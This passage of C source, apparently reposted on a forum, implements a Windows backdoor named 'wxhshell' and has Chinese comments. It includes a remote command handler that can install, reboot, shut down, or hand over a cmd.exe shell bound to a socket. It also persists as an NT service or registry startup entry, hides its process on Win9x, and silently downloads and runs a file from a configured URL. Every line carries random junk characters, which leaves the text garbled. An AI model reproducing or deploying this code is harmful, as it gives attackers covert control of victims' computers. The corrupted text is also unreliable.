  } l{M;PaJ`}  
  else { p} t{8j >  
d08`42Z69  
    switch(cmd[0]) { pil0,r $D  
  wUh3Hd'  
  // 帮助  muK'h`  
  case '?': { .rt8]%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !:]s M-cCt  
    break; >!:$@!6L  
  } 2GHXn:V  
  // 安装 !$%/ rQ9  
  case 'i': { [q0_7  
    if(Install()) u|]mcZ,ZW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ] P:NnKgK  
    else J3]qg.B%z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Td["l!-fe  
    break; +1E?He:iQ  
    } L:|X/c9r[  
  // 卸载 EqNz L*E  
  case 'r': { ]Ct`4pA  
    if(Uninstall()) yv6Zo0s<J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mq|A8>g  
    else BK`Q)[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0~PXa(!^K  
    break; _mIa8K;  
    } Uxj<x`<1x  
  // 显示 wxhshell 所在路径 %J/fg<W1  
  case 'p': { "z{_hp{T^  
    char svExeFile[MAX_PATH]; ^g}gT-l%  
    strcpy(svExeFile,"\n\r"); :,xyVb+  
      strcat(svExeFile,ExeFile); =UI,+P:  
        send(wsh,svExeFile,strlen(svExeFile),0); }a #b$]Y  
    break; .!7Fe)(x  
    } ;PP_3`  
  // 重启 X]3l| D  
  case 'b': { =hZ&66  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P;HVLflu  
    if(Boot(REBOOT)) al3BWRq'f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +SZ%&  
    else { }"g21-T^  
    closesocket(wsh); l`~a}y"n  
    ExitThread(0); Z>>gXh<e[  
    } 8|S1|t,  
    break; ! 4qps$p{  
    } p[af[!  
  // 关机 :>AW@SoTp  
  case 'd': { q:EzKrE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =:CGl   
    if(Boot(SHUTDOWN)) h;4y=UU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P!)7\.7  
    else { {|7OmslC@  
    closesocket(wsh); 0~@L%~  
    ExitThread(0); " kE:T.,  
    } Tv*1q.MB  
    break; &2P:A  
    } BM=V,BZy  
  // 获取shell P0`>{!r6@  
  case 's': { QXIbFv  
    CmdShell(wsh); Xj})?{FP  
    closesocket(wsh); X1 0"G~0  
    ExitThread(0); )$lSG}WD  
    break; @Le ^-v4  
  } ~q'w),bE"Q  
  // 退出 t9$AvE#a!=  
  case 'x': { ]sm0E@1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?C#F?N0  
    CloseIt(wsh); cW~6@&zp  
    break; ]$?zT`>(F  
    } m"?' hR2  
  // 离开 ||*&g2Y  
  case 'q': { A^= Hu,"e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U:pLnNp`  
    closesocket(wsh); fRv S@  
    WSACleanup(); C,VqT6E<  
    exit(1); O_ s9  
    break; b Q9"GO<X  
        } Us@ {w`T  
  } 6/V{>MTZg  
  } bz}AO))Hk  
xRTg [  
  // 提示信息 l b1sV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [6RV'7`Abj  
} +*:x#$phx  
  } _I -0,  
0%&fUz36E6  
  return; [6/%V>EM  
} 'wT./&Z  
B 4*X0x  
// shell模块句柄 63y':g  
int CmdShell(SOCKET sock) {%+3D,$)  
{ 1Hk<_no5  
STARTUPINFO si; "z(fBnv  
ZeroMemory(&si,sizeof(si)); 4?*"7t3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1TD&&EC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^RF mRn  
PROCESS_INFORMATION ProcessInfo; KoQ_: `  
char cmdline[]="cmd"; fAY2V%Rft  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [ ;3EzZL  
  return 0; $.3CiM }~  
} t+4%,n f_1  
gS(: c .  
// 自身启动模式 9q0,K" x)  
int StartFromService(void) zOdasEd8!  
{ /O(;~1B  
typedef struct 1vR#FE?  
{ JG+g88  
  DWORD ExitStatus;  ]5)&36  
  DWORD PebBaseAddress; "|l oSf@  
  DWORD AffinityMask; ).O2_<&?F  
  DWORD BasePriority; zx]M/=7,V#  
  ULONG UniqueProcessId; ezq q@t9  
  ULONG InheritedFromUniqueProcessId; N:gstp  
}   PROCESS_BASIC_INFORMATION; ]TTJrC:  
[(e`b  
PROCNTQSIP NtQueryInformationProcess; U0|j^.)  
m?R+Z6c[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sVm'9k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u):Rw  
1rm$@L  
  HANDLE             hProcess; loqS?bC ]  
  PROCESS_BASIC_INFORMATION pbi; -WHwz m  
\<MTY:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a\.OL}"   
  if(NULL == hInst ) return 0; 8`LLHX1|  
Dk{nOvZu<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Vo9)KxR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); abk:_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @l6 dJ  
C7*Yg$`{  
  if (!NtQueryInformationProcess) return 0; B=RKi\K6a  
J<P/w%i2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @1qUC"Mg  
  if(!hProcess) return 0; t"74HZO >  
)dN,b( w9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8KdcLN@  
 d7-F&!sQ  
  CloseHandle(hProcess); aid)q&AcQ  
G}hkr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !E>3N:  
if(hProcess==NULL) return 0; "F.J>QBd  
^&w'`-ra  
HMODULE hMod; ;uo|4?E:\(  
char procName[255]; $}h_EI6hS  
unsigned long cbNeeded; V{aIhH>P  
7QL) }b.H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /7HIL?r  
fO}1(%}d  
  CloseHandle(hProcess); W,oV$ s^  
wCEfR!i  
if(strstr(procName,"services")) return 1; // 以服务启动 +VI0oo {Z  
wYxFjXm  
  return 0; // 注册表启动 {~p %\  
} ljR?* P  
P9HPr2  
// 主模块 * jNu?$  
int StartWxhshell(LPSTR lpCmdLine) nOoh2jUM  
{ E=U^T/  
  SOCKET wsl; ^~k FC/tQ  
BOOL val=TRUE; "@<g'T0  
  int port=0; !Q/O[6  
  struct sockaddr_in door; ~s ja^  
@m d^mss  
  if(wscfg.ws_autoins) Install(); sVl:EVv  
'A@Oia1;{  
port=atoi(lpCmdLine); C g,w6<7  
o>k-~v7  
if(port<=0) port=wscfg.ws_port;  u^eC  
_"e( ^yiK  
  WSADATA data; vH:+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <qj@waKw4  
KqIe8bi^G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gRd1(S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7^}Z%c  
  door.sin_family = AF_INET; |P?B AWYeQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -`<N,  
  door.sin_port = htons(port); X/D9%[{&  
Dg4^ C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p.7p,CyB  
closesocket(wsl); RPqn#B  
return 1; ZFw743G  
} y&|{x "  
w9?wy#YI  
  if(listen(wsl,2) == INVALID_SOCKET) { '`VO@a  
closesocket(wsl); ;iI2K/ 3  
return 1; /|^^v DL  
} Jx[e{o)o  
  Wxhshell(wsl); )uJ`E8>-  
  WSACleanup(); WQ`P^5e  
Z"&ODVP  
return 0; wx7>0[zE  
KD<`-b)7<  
} ^rb7`s#G  
R_&V.\e_  
// 以NT服务方式启动 IZ ha* 7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N@ tb^M  
{ ~9 nrS9)  
DWORD   status = 0; t#Yh!L6>  
  DWORD   specificError = 0xfffffff; S^_yiV S  
lk'jBl%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :EAfD(D{)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; BiAcjN:Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  ]@ 0V  
  serviceStatus.dwWin32ExitCode     = 0; xGQ:7g+qu  
  serviceStatus.dwServiceSpecificExitCode = 0; C 5!6k1TcE  
  serviceStatus.dwCheckPoint       = 0; H zK=UcD  
  serviceStatus.dwWaitHint       = 0; [-}%B0S**  
e"09b<69  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "[Lp-4A\  
  if (hServiceStatusHandle==0) return;  C3Z(k}  
T>?1+mruM  
status = GetLastError(); u"3cSuqy  
  if (status!=NO_ERROR) Hd}t=6  
{ ^8t*WphZC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @y%qQe/g  
    serviceStatus.dwCheckPoint       = 0; PltPIu)F  
    serviceStatus.dwWaitHint       = 0; uB9+E%jOdQ  
    serviceStatus.dwWin32ExitCode     = status; G!Q)?N    
    serviceStatus.dwServiceSpecificExitCode = specificError; {i?K~| h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a.Vs >1  
    return; #rC+13  
  } P=i |{vv(  
l)eaIOyk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2Nszxvq,  
  serviceStatus.dwCheckPoint       = 0; K1yM'6 Zw  
  serviceStatus.dwWaitHint       = 0; xpo}YF'5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v<4X;4p^  
} jtJU 5Q  
uATRZMai  
// 处理NT服务事件,比如:启动、停止 UzRF'<TWf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S!c@6&XJm?  
{ @ uWD>(D  
switch(fdwControl) <0MUn#7'  
{ Kn]WXc|("  
case SERVICE_CONTROL_STOP: hj[g2S%X  
  serviceStatus.dwWin32ExitCode = 0; *gKr1}M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pEP.^[  
  serviceStatus.dwCheckPoint   = 0; ucO]&'hu:  
  serviceStatus.dwWaitHint     = 0; Kqjeqr@)  
  { b?^<';,5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "@Fxfd+Ot  
  } (6aZQ`H  
  return; uSbg*OA  
case SERVICE_CONTROL_PAUSE: }gt~{9?c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,4UJ| D=J  
  break; @TT[H*,  
case SERVICE_CONTROL_CONTINUE: jV8><5C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  iSax-Mc  
  break; b(,[g>xH   
case SERVICE_CONTROL_INTERROGATE: q3:' 69  
  break; 9dv~WtH>5  
}; 247>+:7z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M>#S z  
} L*38T\  
)HHzvGsL)  
// 标准应用程序主函数  EZFWxR/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hWJc A.A  
{ HyMb-Us  
#,pLVt<  
// 获取操作系统版本  )BB a  
OsIsNt=GetOsVer(); C <)&qx3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ved:w^ ,  
_u!G 6   
  // 从命令行安装 R["7%|RV  
  if(strpbrk(lpCmdLine,"iI")) Install(); Fx\Re]~n  
x]M1UBnMN  
  // 下载执行文件 1gr jK.x  
if(wscfg.ws_downexe) { gr7_oJ:R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cke[SUH,  
  WinExec(wscfg.ws_filenam,SW_HIDE); "+60B0>sc  
} e76)z; '  
'r0gqtB  
if(!OsIsNt) { }2{#=Elh  
// 如果时win9x,隐藏进程并且设置为注册表启动 XUHY.M  
HideProc(); _Fjv.VQ,  
StartWxhshell(lpCmdLine); >a K&T"  
}  Q.yoxq  
else BcWReyO<M  
  if(StartFromService()) >oNs_{  
  // 以服务方式启动 w5Z3e^g  
  StartServiceCtrlDispatcher(DispatchTable); gsH_pG-jU  
else .?TVBbc%5  
  // 普通方式启动 \k8_ZJw  
  StartWxhshell(lpCmdLine); pcG q  
wz=I+IN:  
return 0; X35hLp8 M  
}
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只看该作者 1 发表于: 2006-10-10
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